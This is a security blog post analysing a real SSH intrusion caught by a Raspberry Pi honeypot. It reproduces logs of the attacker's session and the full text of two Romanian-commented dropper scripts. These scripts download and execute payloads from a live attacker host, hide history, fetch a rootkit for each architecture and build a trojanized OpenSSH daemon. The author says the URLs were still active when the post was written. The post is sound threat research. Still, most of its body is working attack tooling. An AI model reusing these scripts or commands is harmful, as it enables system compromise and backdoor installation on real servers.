Monday, September 19, 2016

Anatomy of a Real Linux Intrusion Part II: OpenSSH trojanized toolkit

In my previous post I introduced my current Honeypots setup with Raspberry Pi 3 running HonSSH and performing SSH MiTM. 

There are lot of attacks against the honeypots: SSH scans, user and password brute force attacks, scanning tools installed in the compromised system, IRC bouncers installed, etc. This set of attacks are happening from different countries, with different accounts, passwords, etc. But I'll leave the statistics analysis for other time. Now, I'm more interested in the tools Cyber Criminals are using :)


During this post and coming ones I'll write about some interesting malicious tools I have analysed.

In this specific post I'm writing about an intrusion involving tools with TrojanRootkit, antiforencis, sniffing and C&C capabilities.

IMPORTANT: By the time of writing this post, the malicious tools in the different URLs are still active. Cyber Criminals are still using them in their malicious activities. I have decided to make them public as I think they are a good resource for security researches.

Automatic Scanning and brute force 

The first  phase of the attack consists on brute forcing in order to get access.
The brute source IP are usually hosts which have been already compromised and are used to brute force a wide range of IP through automatic tools. In the case of this intrusion, the list of IP used to brute force, before the real intrusion happened, are the following:

116.96.24.144
158.69.84.195
171.234.230.47
185.110.132.201
193.169.53.171
194.203.215.254
195.154.45.84
203.113.167.163
217.243.198.134
42.114.236.217
91.224.160.106


Manual access to the compromised host with valid credentials

Once cyber criminals got some valid credentials from previous step, they will come back and log in manually, but this time from a different IP. In this case, the IP used is 5.189.136.43

016-09-04 10:26:43+0200 [honssh.server.HonsshServerFactory] [PLUGIN][HONEYPOT-STATIC] - GET_PRE_AUTH_DETAILS
2016-09-04 10:26:43+0200 [-] [PRE_AUTH] - Connecting to Honeypot: normando (192.168.16.2:22)
2016-09-04 10:26:43+0200 [-] [ADV-NET] - HonSSH Interface already exists, not re-adding
2016-09-04 10:26:43+0200 [-] [ADV-NET] - HonSSH FakeIP and iptables rules added
2016-09-04 10:26:43+0200 [-] Starting factory <honssh.client.HonsshClientFactory instance at 0x745ccaf8>
2016-09-04 10:26:43+0200 [Uninitialized] [CLIENT] - New client connection
2016-09-04 10:26:43+0200 [HonsshClientTransport,client] kex alg, key alg: diffie-hellman-group-exchange-sha1 ssh-rsa
2016-09-04 10:26:43+0200 [HonsshClientTransport,client] outgoing: aes256-ctr hmac-sha1 none
2016-09-04 10:26:43+0200 [HonsshClientTransport,client] incoming: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200 [HonsshClientTransport,client] REVERSE
2016-09-04 10:26:44+0200 [HonsshClientTransport,client] NEW KEYS
2016-09-04 10:26:44+0200 [HonsshClientTransport,client] [CLIENT] - Client Connection Secured
2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] kex alg, key alg: diffie-hellman-group1-sha1 ssh-rsa
2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] outgoing: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200 [HonsshServerTransport,76,5.189.136.43] incoming: aes256-ctr hmac-sha1 none
2016-09-04 10:26:44+0200 [-] [PLUGIN][OUTPUT-TXTLOG] - CONNECTION_MADE
2016-09-04 10:26:44+0200 [-] [PRE_AUTH] - CLIENT CONNECTED, REPLAYING BUFFERED PACKETS
2016-09-04 10:26:47+0200 [HonsshServerTransport,76,5.189.136.43] NEW KEYS
2016-09-04 10:26:49+0200 [HonsshClientTransport,client] [SSH] - Detected Public Key Auth - Disabling!
2016-09-04 10:26:51+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][HONEYPOT-STATIC] - GET_POST_AUTH_DETAILS
2016-09-04 10:26:51+0200 [-] [POST_AUTH] - SUCCESS = FALSE, NOT POST-AUTHING
2016-09-04 10:26:51+0200 [HonsshClientTransport,client] [PLUGIN][OUTPUT-TXTLOG] - LOGIN_SUCCESSFUL
2016-09-04 10:26:52+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - CHANNEL_OPENED
2016-09-04 10:26:57+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: unset HISTFILE
2016-09-04 10:26:57+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:21+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: uname -a
2016-09-04 10:27:21+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: export HISTFILE=/dev/null
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: sudo su -
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: export HISTFILE=/dev/null
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: mkdir /tmp/... ; cd /tmp/...
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: echo "nameserver 208.67.220.222" >> /etc/resolv.conf
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: wget http://gopremium.mooo.com/.../auto/p
2016-09-04 10:27:23+0200 [HonsshServerTransport,76, ] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: chmod +x p ;  ./p
2016-09-04 10:27:23+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:23+0200 [-] [PLUGIN][OUTPUT-TXTLOG] - DOWNLOAD_FINISHED
2016-09-04 10:27:35+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: admin
2016-09-04 10:27:35+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:46+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: cat /etc/issue
2016-09-04 10:27:46+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:27:54+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: ct /etc/passwd^[[1~a
2016-09-04 10:27:54+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:11+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: whoami
2016-09-04 10:28:11+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:39+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: last|more
2016-09-04 10:28:39+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:46+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: passwd
2016-09-04 10:28:46+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:28:48+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: admin
2016-09-04 10:28:48+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:01+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo
2016-09-04 10:29:01+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:04+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo
2016-09-04 10:29:04+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:09+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo1
2016-09-04 10:29:09+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:12+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: modrepo1
2016-09-04 10:29:12+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:29:21+0200 [HonsshServerTransport,76,5.189.136.43] [TERM] - Entered command: ifconfig
2016-09-04 10:29:21+0200 [HonsshServerTransport,76,5.189.136.43] [PLUGIN][OUTPUT-TXTLOG] - COMMAND_ENTERED
2016-09-04 10:33:58+0200 [HonsshServerTransport,76,5.189.136.43] Disconnecting with error, code 10
        reason: user closed connection
2016-09-04 10:33:58+0200 [HonsshServerTransport,76,5.189.136.43] connection lost


From the logs, I can extract the set of commands executed:

unset HISTFILE   
uname -a
export HISTFILE=/dev/null
sudo su -
export HISTFILE=/dev/null
mkdir /tmp/... ; cd /tmp/...
echo "nameserver 208.67.220.222" >> /etc/resolv.conf
wget http://gopremium.mooo.com/.../auto/p 
chmod +x p ; ./p
admin
cat /etc/issue
ct /etc/passwda  
last|more
passwd  
admin
modrepo
modrepo
modrepo1
modrepo1
ifconfig


Several things happen here:
  • Bad guys disable the HISTFILE, in order to not leave any evidence of the commands executed in the .bash_history. Also they create a directory "..." in /tmp to fool the administrator.
  • Cyber Criminals try to change the DNS. Likely to ensure that the host where the additional tools are stored can be resolved. But also might be to avoid any suspicious DNS query to an internal DNS server which can be monitored.
  • They introduced a command "ct /etc/passwda", which means they run the command manually (they introduced the 'a' of the command the last, after moving the cursor back several positions)
  • Lastly, attackers tried to changed the default password 'admin' to "modrepo", but it did not work. They finally changed it to "modrepo1".
  • A file "p" is pulled from http://gopremium.mooo.com/.../auto/p and then executed


Script 1 (p): checking the necessary tools

The first script pulled from http://gopremium.mooo.com/.../auto/p does several things:
  • It checks that the 'gcc' compiler in installed and works. To do this, the script compiles and executes a small "C" code program embedded in the script
  • If the compiler is not installed, it tries to install it. Depending on the Linux distribution, it will use yum, apt, yast, zipper. Then, it tries to compile and execute the program
  • Same approach than with 'gcc' is used for the linux tool 'sed' and 'curl'. 
  • Once the tools are installed a second script is pulled from http://gopremium.mooo.com/.../auto/p1 and executed 
This is the content of the first script "p"

#!/bin/bash
############## first installation part (p)
############## verificam daca serverul are instalat ce ne trebuie

# echo -e "\033[0;31m [-] \033[0m\033[0m" # red
# echo -e "\033[0;32m [+] \033[0m\033[0m" # green
# echo -e "\033[0;36m xxx \033[0m\033[0m" #cyan
echo

export HISTFILE=/dev/null
export PATH=$PATH:/usr/local/sbin/
export PATH=$PATH:/usr/sbin/
export PATH=$PATH:/sbin
export PATH=$PATH:/bin


if [ "$(whoami)" != "root" ]; then
        echo -e "\033[0;31m [-] \033[0m\033[0m you are not root" # red
        echo; exit
fi

### verificam daca e instalat ce folosim
weneed="/usr/bin/gcc"
weinstall="gcc"
if [ -f $weneed ]; then
        echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found" # green
                ### testam gcc (la unele servere lipsesc librarii)
                echo "#include <stdio.h>" > t.c
                echo "#include <pthread.h>" >> t.c 
                echo "int main() {" >> t.c
                echo "sleep(1);" >> t.c
                echo "return 0;" >> t.c
                echo "}" >> t.c
                gcc -o t t.c 1>>/dev/null 2>>/dev/null
                if [ -f t ]; then
                        echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall test was successful" # green
                        rm -rf t.c t
                else
                        echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall test failed. aborting. " # red
                        echo "try to install libc6-dev: apt-get install -y libc6-dev"
                        rm -rf t.c
                        echo ; exit
                fi
                # EOF testam gcc (la unele servere lipsesc librarii)
else
        echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... " # red
        if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
        if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
        if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi
        if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi

        if [ -f $weneed ]; then
                echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed." # green
                ### testam gcc (la unele servere lipsesc librarii)
                echo "#include <stdio.h>" > t.c
                echo "#include <pthread.h>" >> t.c
                echo "int main() {" >> t.c
                echo "sleep(1);" >> t.c
                echo "return 0;" >> t.c
                echo "}" >> t.c
                gcc -o t t.c 1>>/dev/null 2>>/dev/null
                if [ -f t ]; then
                        echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall test was successful" # green
                        rm -rf t.c t
                else
                        echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall test failed. aborting. " # red
                        echo "try to install libc6-dev: apt-get install -y libc6-dev"
                        rm -rf t.c
                        echo ; exit
                fi
                # EOF testam gcc (la unele servere lipsesc librarii)
        else
                echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. " # red
                echo  ; exit
        fi
fi

weneed="/bin/sed"
weinstall="sed"
if [ -f $weneed ]; then
        echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found" # green
else
        echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... " # red
        if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
        if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
        if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi
        if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi

        if [ -f $weneed ]; then
                echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed." # green
        else
                echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. " # red
                echo  ; exit
        fi
fi

weneed="/usr/bin/curl"
weinstall="curl"
if [ -f $weneed ]; then
        echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall found" # green
else
        echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall missing - trying to install... " # red
        if [ -f /usr/bin/yum ] ; then yum install -y $weinstall ; fi
        if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y $weinstall ; fi
        if [ -f /sbin/yast ] ; then yast -i $weinstall ; fi
        if [ -f /usr/bin/zypper ] ; then zypper -n install $weinstall ; fi

        if [ -f $weneed ]; then
                echo ; echo -e "\033[0;32m [+] \033[0m\033[0m $weinstall installed." # green
        else
                echo ; echo -e "\033[0;31m [-] \033[0m\033[0m $weinstall failed to install. aborting. " # red
                echo  ; exit
        fi
fi
# EOF  verificam daca e instalat ce folosim

echo -e "\033[0;32m [+] \033[0m\033[0m downloading OS & RK detection (p1)" # green
rm -rf p1
curl --progress-bar -O http://gopremium.mooo.com/.../auto/p1
if [ ! -f p1 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
chmod +x p1 ; ./p1

Some Interesting points:
  • The comments of the script are in Romanian. All the rest of scripts and tools in this intrusion are in Romanian as wellLikely the Threat Actors speaks Romanian, or are using tools which have been developed by someone who speaks Romanian.
  • The script are written to debug and report any issue (with fancy colours). They have invested quite a few time to develop all the scripts and tools.
  • The script says "downloading OS & RK detection" 
Below the output of the script executed in a lab host:



Script 2 (p1): Compiling a Trojanized version of SSH and testing it

The second script, p1, is in charge of detecting the architecture of the system. Base on the architecture and the Linux distribution, it pulls some additional tools, which are executed.

The full script is as follows:

#!/bin/bash
############## OS & RK detection (p1)
############## detecteaza OS, downloadeaza rk si ii face test

rm -rf 1tempfiles ; mkdir 1tempfiles

echo -e "\033[0;32m [+] \033[0m\033[0m trying to detect OS"
arch=$(uname -m)
kernel=$(uname -r)
if [ -f /etc/lsb-release ]; then
        os=$(lsb_release -s -d)
elif [ -f /etc/debian_version ]; then
        os="Debian $(cat /etc/debian_version)"
elif [ -f /etc/redhat-release ]; then
        os=`cat /etc/redhat-release`
else
        os="UNKNOWN OS $(uname -s) $(uname -r) aborting."
        echo ; exit
fi
echo -e "\033[0;32m [+] \033[0m\033[0m OS found: $os (arch: $arch kernel: $kernel)"
echo "$os (arch: $arch kernel: $kernel)" > 1tempfiles/os.txt


echo -e "\033[0;32m [+] \033[0m\033[0m trying to find rk for this OS" # green
if [ "$arch" == "armv7l" ] ; then
        rk="arm71" ; echo "$rk" > 1tempfiles/rk.txt
        echo "..." > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo

elif [ "$arch" == "armv6l" ] ; then
        rk="arm61" ; echo "$rk" > 1tempfiles/rk.txt
        echo "..." > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo

elif [ "$arch" == "mips64" ] ; then
        rk="edgeos64" ; echo "$rk" > 1tempfiles/rk.txt
        echo "..." > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo

elif [ "$arch" == "mips" ] ; then
        rk="edgeos" ; echo "$rk" > 1tempfiles/rk.txt
        echo "..." > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo

elif [ ! -z "$(uname -a|grep vyos)" ] && [ "$arch" == "x86_64" ] ; then
        rk="vyos64" ; echo "$rk" > 1tempfiles/rk.txt
        echo "..." > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo

elif [ ! -z "$(uname -a|grep vyos)" ] && [ "$arch" == "i686" ] ; then
        rk="vyos" ; echo "$rk" > 1tempfiles/rk.txt
        echo "..." > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m $rk.tgz found. downloading rk & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/$rk.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo


else
        echo -e "\033[0;31m [-] \033[0m\033[0m rk not found" # red
        echo -e "\033[0;32m [+] \033[0m\033[0m trying to install files needed for default kit" # green
        echo
        if [ -f /usr/bin/yum ] ; then yum install -y gcc make libgcrypt-devel zlib-devel openssl-devel ; fi
        if [ -f /usr/bin/apt-get ] ; then apt-get update ; apt-get install -y gcc make libgcrypt11-dev zlib1g-dev libssl-dev ; fi
        echo
        echo -ne "\033[0;36m [x] \033[0m\033[0m press any key to download default rk kit or CTRL+c to exit" #cyan
        read a
        rk="default" ; echo "$rk" > 1tempfiles/rk.txt
        echo ".unix" > 1tempfiles/side_files_dir.txt
        echo -e "\033[0;32m [+] \033[0m\033[0m downloading default rk kit & install file (p2)" # green
        rm -rf $rk.tgz ; rm -rf p2
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/default.tgz
        curl --progress-bar -O http://gopremium.mooo.com/.../auto/p2
        if [ ! -f $rk.tgz ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        if [ ! -f p2 ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m file missing - download failed. aborting" ; echo ; exit ; fi
        echo -e "\033[0;32m [+] \033[0m\033[0m trying to make new rk" # green
        tar mzxf $rk.tgz ; rm -rf $rk.tgz
        maindir=`pwd` ; rkdir="$maindir/$rk"
        cd $rkdir
        rm -rf 1tempfiles/*
        tar zxf openssh-5.9p1-cu-patch-SSHD-eu.tgz -C 1tempfiles/
        cd 1tempfiles/openssh-5.9p1
        ./configure --prefix=/usr --sysconfdir=/etc/ssh
        make
        if [ ! -f sshd ] ; then echo -e "\033[0;31m [-] \033[0m\033[0m failed to make new rk. aborting" ; echo ; exit ; fi
        rm -rf ../../default/ssh ; mv ssh ../../default/
        rm -rf ../../default/scp ; mv scp ../../default/
        rm -rf ../../default/sftp ; mv sftp ../../default/
        rm -rf ../../default/sshd-* ; mv sshd ../../default/sshd-eu
        cd ../.. ; rm -rf 1tempfiles/*  ### acum sunt in $rkdir
        cd $maindir
        echo -e "\033[0;32m [+] \033[0m\033[0m starting rk test " # green
        chmod +x p2
        cd $rkdir ; ./run test $rk 1>>$maindir/1tempfiles/log.rktest 2>>$maindir/1tempfiles/log.rktest
        echo -e "\033[0;32m [+] \033[0m\033[0m rk test done (logs in $maindir/1tempfiles/log.rktest). please manually check:"
        echo
        echo "          $rkdir/$rk/test-sshd -p 65535"
        echo "          telnet 127.0.0.1 65535  OR  ssh root@127.0.0.1 -p 65535"
        echo "          killall -9 test-sshd"
        echo
        echo -e "\033[0;36m [x] \033[0m\033[0m After checking, run the full install: ./p2 " #cyan
        echo


  
fi


As mentioned, different files are pulled depending on the architecture / Linux version. For ARMv6, which it's the processor of the Raspberry Pi 2, the URL is  http://gopremium.mooo.com/.../auto/arm61.tgz. There is specific packages for ARMv7, mips64, mips, vyos64 and vyos (Vyos is a open source network operating system). But also there is a default version, under the link http://gopremium.mooo.com/.../auto/default.tgz

The default version, as will see, contains the source code of  'OpenSSH', while the rest of the versions consists on some specific binary files.

As an example, this is the set of files in the ARMv6 tgz file, which included the binaries scp, sftp, ssh, sshd.


When the system is default, the script performs the following tasks
  • Download a file from  http://gopremium.mooo.com/.../auto/default.tgz
  • Download a file from http://gopremium.mooo.com/.../auto/p2
  • Install the necessary libraries to be able to compile OpenSSH
  • Untar the file default.tgz and compile a custom openssh version (5.9)
  • Test that the recent compiled SSHD version works as expected





The script gives instructions about how to test the new sshd



Next step, the script invites the user to run the script 'p2', which has been pulled by p1. This script, as I'll explain later, performs the real installation of the trojanized version of SSHD (overwrittting the default OS binaries). But previously, I'm going to take a look to the OpenSSH source code contained in default.tgz

Analysis of the OpenSSH source code

The first thing I checked is the timestamp of the files. Most of the files are from 2011, except some of them which are from the 20th of August 2016. This files are good point to start investigating



 The first file, version.h, contains something really interesting:



The default SSH version has been modifed to 6.0  (while The OpenSSH compiled version code is  5.9).

Looking deeper, in file 'auth-passwd.c', I  found something even more interesting: a default backdoor password, some code to grant access with that default password and a couple of additional things :)


